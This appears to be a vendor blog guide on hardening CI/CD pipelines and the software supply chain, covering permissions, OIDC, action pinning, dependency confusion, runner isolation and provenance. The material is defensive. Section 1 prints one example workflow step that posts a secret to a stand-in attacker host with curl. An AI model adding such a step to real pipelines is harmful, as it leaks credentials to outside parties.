SiteTidy
HomeGuidesCI/CD Pipeline Best Practices (Part 3): Secure the Software Supply Chain
DevOps

CI/CD Pipeline Best Practices (Part 3): Secure the Software Supply Chain

Harden CI/CD against poisoned pipelines, leaked credentials and dependency attacks. Learn least privilege, OIDC, action pinning, provenance, attestations and artifact verification.

Published on August 15, 2026Updated August 31, 2026
CI/CD Pipeline Best Practices (Part 3): Secure the Software Supply Chain

Your CI/CD pipeline is one of the few systems in an organisation that is routinely allowed to download code from the internet, execute it, read source code, access secrets, build trusted software and deploy into production.

That combination makes it extremely useful. It also makes it an unusually attractive target.

A compromised web server might expose one application. A compromised build pipeline can potentially alter the software you ship, steal deployment credentials, tamper with artifacts and turn your own release process into the attacker’s delivery mechanism.

That is why CI/CD security deserves more thought than “put the cloud password in repository secrets”.

Part 1 of this series established a trustworthy release path. Part 2 covered scaling deployments safely. This part focuses on protecting the pipeline and the software supply chain itself.

Start with the threat model: what does the pipeline actually trust?

Before adding scanners, map the trust relationships.

A typical pipeline may trust all of these:

Developer account
      │
      ▼
Source repository
      │
      ├── workflow YAML
      ├── build scripts
      ├── package lockfiles
      └── application source
      │
      ▼
CI runner
      │
      ├── third-party actions/plugins
      ├── package registries
      ├── container registries
      └── external build tools
      │
      ▼
Build artifact
      │
      ▼
Deployment identity
      │
      ▼
Production

Every arrow is a trust boundary.

If an attacker can alter a workflow file, compromise a dependency, inject a malicious build step, steal a runner credential or replace an artifact after it was built, they may not need to attack production directly.

OWASP’s CI/CD security guidance calls out risks including inadequate identity management, dependency-chain abuse, poisoned pipeline execution, poor credential hygiene, third-party service risk and improper artifact-integrity validation. Those categories are useful because they force us to think beyond the application code.

1. Workflow files are production code

A change to this:

- run: npm test

may look less dramatic than a change to your authentication service.

But a workflow can potentially execute arbitrary commands under a trusted automation identity. A malicious modification could instead do something like:

- run: curl attacker.example/upload -d "$SECRET"

The exact attack does not matter. The principle does:

pipeline configuration deserves the same review discipline as other privileged production code.

Useful controls include:

  • branch protection on important branches;
  • required pull-request reviews;
  • CODEOWNERS for workflow and infrastructure paths;
  • restricted ability to bypass required checks;
  • MFA for developer and administrator accounts;
  • audit logs retained long enough to investigate suspicious changes.

A repository where anyone can merge a modification to .github/workflows/deploy.yml is effectively a repository where anyone can potentially modify the production deployment system.

2. Be especially careful with untrusted pull-request code

Pull requests are supposed to run untrusted changes. That is the point.

The dangerous mistake is letting that untrusted code execute in a context that also has privileged credentials.

A pull request may legitimately need to:

  • compile the application;
  • run unit tests;
  • lint files;
  • perform static analysis.

It usually does not need:

  • production cloud credentials;
  • package-publishing tokens;
  • signing keys;
  • infrastructure-admin access;
  • secrets from protected environments.

Keep the trust boundary simple:

Untrusted PR code
   │
   ├── compile
   ├── test
   └── analyse

Trusted main branch
   │
   ├── build release
   └── create artifact

Protected deployment job
   │
   └── production identity

The closer privileged identity is to arbitrary contributor-controlled code, the larger your attack surface becomes.

3. Default workflow permissions to the minimum

GitHub Actions exposes a GITHUB_TOKEN to workflows. Other CI systems provide comparable built-in identities.

Do not assume the default permission set is appropriate for every job.

Start narrow:

permissions:
  contents: read

Then grant additional access only where the job actually needs it.

For example, a package-publishing job might need:

permissions:
  contents: read
  packages: write

A cloud deployment using OpenID Connect may need:

permissions:
  contents: read
  id-token: write

The test job does not inherit packages: write merely because the publishing job requires it.

Least privilege is most valuable after something goes wrong. If an attacker compromises a build step, the permissions available to that step determine what they can do next.

4. Replace long-lived deployment secrets with short-lived identity

A permanent cloud key stored as a repository secret has an uncomfortable property: once stolen, it may remain useful until somebody notices and revokes it.

Modern CI platforms can often authenticate to cloud providers through OpenID Connect (OIDC) instead.

The simplified flow is:

CI job
  │
  ├── receives signed workload identity token
  │
  ▼
Cloud identity provider
  │
  ├── verifies repository / branch / environment claims
  │
  ▼
Short-lived cloud credential

The trust policy can be scoped to a specific repository, branch, workflow or deployment environment depending on the provider.

That means there is no permanent AWS access key, Azure client secret or equivalent credential sitting in the CI secret store waiting to be leaked.

OIDC is not magic. A badly configured trust policy can still grant too much access. But it eliminates an entire category of static credential management and gives you much tighter control over who can obtain deployment authority.

5. Secrets should be scoped, temporary and boring

Some secrets will still exist: API tokens, signing material, legacy service credentials and third-party keys do not all support federation.

Treat each secret as something that will eventually be exposed and design the blast radius accordingly.

Good questions include:

  • Which exact workflow needs this secret?
  • Does it need read or write access?
  • Does staging need the same credential as production?
  • Can it be restricted to one repository, API or resource?
  • How is it rotated?
  • Would it appear in command output if a script runs with verbose logging?
  • Does a build artifact accidentally contain it?

Avoid sharing one powerful secret across a dozen unrelated pipelines merely because it is convenient.

A secret that can deploy every service in every environment is not a secret; it is a master key.

6. Third-party actions and plugins are executable dependencies

This line looks harmless:

- uses: some-vendor/some-action@v2

But an action is code your trusted runner executes.

The same is true for Jenkins plugins, CI extensions, setup scripts and downloaded helper binaries.

Treat third-party CI components like production dependencies:

  • prefer well-maintained projects;
  • review what the component does;
  • minimise how many you use;
  • keep versions current deliberately;
  • remove abandoned integrations;
  • use immutable references where appropriate.

For externally hosted GitHub Actions, pinning to a full commit SHA gives stronger immutability than a floating branch or mutable version tag.

For example:

- uses: vendor/action@<full-commit-sha>

A human-friendly version comment can preserve readability:

# vendor/action v3.2.1
- uses: vendor/action@<full-commit-sha>

This does add maintenance work because you must intentionally update the SHA. That is a reasonable trade-off for privileged workflows where supply-chain integrity matters.

Security checks should continue after deployment

Pipeline security protects how software reaches production. SiteTidy can independently inspect the public result for exposed headers, TLS, technical configuration and other externally observable issues.

Run Free Audit →

7. Lock your application dependencies too

The runner does not only execute workflow actions. It also executes your dependency tree.

A Node build may install hundreds or thousands of packages. A .NET build restores NuGet packages. Python resolves packages from PyPI. Container builds pull base images.

If dependency resolution can silently change between builds, your release inputs are not deterministic.

Use ecosystem-appropriate lockfiles and locked restore modes where available:

npm ci

instead of casually allowing dependency resolution to drift with:

npm install

The equivalent mechanism differs by ecosystem, but the goal is consistent: the dependency graph used by the build should be deliberate and reviewable.

Also monitor dependency changes. A pull request that adds one line to package.json may introduce hundreds of transitive packages. Dependency-review tooling can make that impact visible before merge.

8. Dependency confusion and typosquatting are not theoretical edge cases

Suppose your company has an internal package called:

company-auth-utils

If your package tooling searches both an internal registry and a public registry, and an attacker publishes a public package with the same name and a version that wins resolution, the build could download the attacker-controlled package.

That is dependency confusion.

Typosquatting is even simpler: a package name deliberately resembles a popular package closely enough that a developer or script selects the wrong one.

Defences vary by package manager but usually involve:

  • explicit registry configuration;
  • controlled namespaces/scopes;
  • lockfiles;
  • checksum/integrity verification;
  • private-package naming policies;
  • dependency review;
  • reducing uncontrolled package installation in privileged jobs.

The broader lesson is that “package restore” is code execution from a supply chain, not merely a download step.

9. Isolate build execution

A CI runner executes untrusted or semi-trusted code repeatedly.

Long-lived self-hosted runners deserve particular attention because state can survive between jobs if they are not designed and cleaned correctly.

Potential leftovers include:

  • credentials;
  • generated files;
  • cached scripts;
  • SSH configuration;
  • malicious binaries;
  • modified tooling;
  • Docker resources;
  • workspace data from another repository.

Ephemeral runners reduce that persistence risk by creating a fresh execution environment for a job and discarding it afterwards.

If you use persistent self-hosted runners, treat them as production infrastructure:

  • patch the operating system;
  • control network access;
  • restrict which repositories/jobs can use them;
  • avoid unnecessary root/administrator execution;
  • isolate sensitive workloads;
  • clean workspaces and temporary credentials reliably;
  • monitor runner changes.

Do not attach a privileged runner to every repository in the organisation simply to save a few minutes of setup.

10. Separate build identity from deployment identity

A build should usually be able to build.

A deployment should usually be able to deploy.

Combining those powers into one job makes compromise more valuable.

A stronger pattern is:

BUILD JOB
- source: read
- packages: read
- artifact store: write
- production: NO ACCESS

DEPLOY JOB
- approved artifact: read
- production deploy: limited write
- source mutation: NO ACCESS

Now a compromised compiler or test dependency cannot automatically deploy itself to production merely because it happened to execute during the build.

This separation also improves auditability. You can distinguish “artifact was produced” from “artifact was authorised for production”.

11. Protect the artifact after the build

Building safely is only half the problem.

Suppose CI builds release.zip, all tests pass, and the artifact is stored somewhere. Later, the deployment job fetches a file named release.zip.

How do you know it is the same file?

Immutable artifact storage, cryptographic digests and provenance help answer that question.

At minimum, identify releases using content digests or equivalent immutable identifiers where your platform supports them.

For a container image, prefer:

registry.example/app@sha256:abc123...

over relying only on:

registry.example/app:latest

latest is a label that can move. A digest identifies specific content.

12. Provenance answers “where did this artifact come from?”

Software provenance records verifiable information about how an artifact was produced.

The SLSA specification describes provenance as information that can trace software back through its build process — including where, when and how an artifact was created.

This becomes valuable when you need to prove that:

  • the artifact came from the expected repository;
  • it was built from the expected source revision;
  • the expected workflow or build platform produced it;
  • the artifact has not simply been swapped for another file with the same name.

GitHub Actions supports artifact attestations, which can create signed claims about build provenance and related metadata.

An attestation does not mean “this software has no vulnerabilities”.

It means something closer to: we can verify where this artifact came from and which build produced it.

That is a different guarantee, and an important one.

13. Generate and verify attestations, not just store them

A provenance record is only useful if somebody checks it when trust matters.

A mature delivery path can verify an artifact before deployment:

Build
  │
  ├── create artifact
  ├── calculate immutable identity
  └── generate signed provenance/attestation
  │
  ▼
Artifact repository
  │
  ▼
Deployment
  │
  ├── verify attestation
  ├── verify expected repository/workflow
  └── deploy verified artifact

For high-assurance workloads, policy enforcement can reject artifacts that do not meet provenance requirements.

You do not need to implement the maximum possible SLSA level on day one. SLSA itself is designed around incremental levels of assurance. Start by making artifact origin visible, then strengthen the build and verification process as the risk justifies it.

14. Generate an SBOM when it will actually be used

A Software Bill of Materials (SBOM) describes components included in an artifact.

That becomes extremely useful when a new vulnerability is announced and somebody asks:

“Which of our deployed services contain this library?”

Without component inventory, that question can become a repository-by-repository investigation.

An SBOM can make it searchable.

But generating an SBOM and dropping it into an artifact store nobody queries is compliance-shaped busywork.

If you create SBOMs, connect them to practical processes such as:

  • vulnerability response;
  • release metadata;
  • asset inventory;
  • dependency analysis;
  • customer or regulatory evidence where appropriate.

15. Watch the caches

Build caches are supposed to improve speed. They can also become a trust boundary.

If a less-trusted workflow can write data into a cache later consumed by a privileged workflow, you may have created a path for untrusted content to influence trusted execution.

Avoid treating caches as authoritative release inputs.

A cache should accelerate restoration of data that can be independently validated or safely regenerated. It should not become an invisible artifact repository for production-critical binaries.

Use cache keys carefully, separate trust domains where needed, and invalidate caches when dependency or toolchain assumptions change.

16. Keep security scanners useful

Adding five scanners to the pipeline is easy.

Getting developers to act on their results is harder.

Typical pipeline security controls include:

  • secret scanning;
  • dependency/SCA scanning;
  • SAST;
  • container scanning;
  • Infrastructure-as-Code scanning;
  • license/policy checks;
  • DAST against deployed test environments.

Do not enable every scanner at maximum sensitivity and call the pipeline secure.

Decide:

  • which findings block a pull request;
  • which findings create a ticket;
  • which are informational;
  • how false positives are suppressed;
  • who owns remediation;
  • how exceptions expire.

A scanner that emits 900 ignored warnings per build actively trains people to ignore warnings.

Security signal must remain believable.

17. Log the security events you would need during an investigation

After a suspicious release, you may need to reconstruct:

  • who changed the workflow;
  • who approved the pull request;
  • which runner executed it;
  • what source revision was built;
  • which third-party actions ran;
  • what artifact was created;
  • which identity deployed it;
  • what environment received it;
  • whether an attestation existed;
  • whether any secrets were accessed or rotated afterwards.

If those records disappear after three days, incident response becomes guesswork.

Retention requirements depend on the organisation, but the principle is simple: log enough to rebuild the release story after the fact.

A simple supply-chain test

Pick the artifact currently running in production. Can you trace it to an exact source commit, exact build run and exact deployment event — and can you verify that the artifact was not replaced between those stages? If not, that is a concrete place to improve.

Browse SiteTidy's security and developer tools

A practical hardening order

You do not need to transform a small SaaS pipeline into a defence contractor’s build system overnight.

Start with controls that remove broad, common classes of risk:

  1. Protect workflow and infrastructure files with review.
  2. Keep privileged secrets away from untrusted pull-request execution.
  3. Default workflow permissions to read-only and grant narrowly.
  4. Replace long-lived cloud keys with OIDC where supported.
  5. Separate build identities from production deployment identities.
  6. Lock application dependencies and review dependency changes.
  7. Treat third-party CI actions/plugins as executable supply-chain dependencies.
  8. Make release artifacts immutable and addressable by digest/version.
  9. Add provenance/attestation where artifact origin matters.
  10. Retain enough release and audit history to investigate compromise.

Then increase assurance based on the value and threat model of the software you are shipping.

Final thought

The uncomfortable truth about CI/CD security is that the pipeline exists to automate trust.

It decides which source code becomes an artifact, which artifact is considered authentic, and which authentic artifact gets production authority.

That is why the strongest pipelines do not merely ask “did the tests pass?”

They also ask:

“Do we trust the code that ran, the identity that ran it, the dependencies it consumed, the environment that built it, the artifact it produced and the path by which that artifact reached production?”

When you can answer those questions with evidence rather than assumption, your CI/CD system starts to become a meaningful part of your software supply-chain defence rather than simply another privileged machine to protect.

Ready to audit your site?

Put this guide into practice immediately using our free tools.

Browse 180+ Free Tools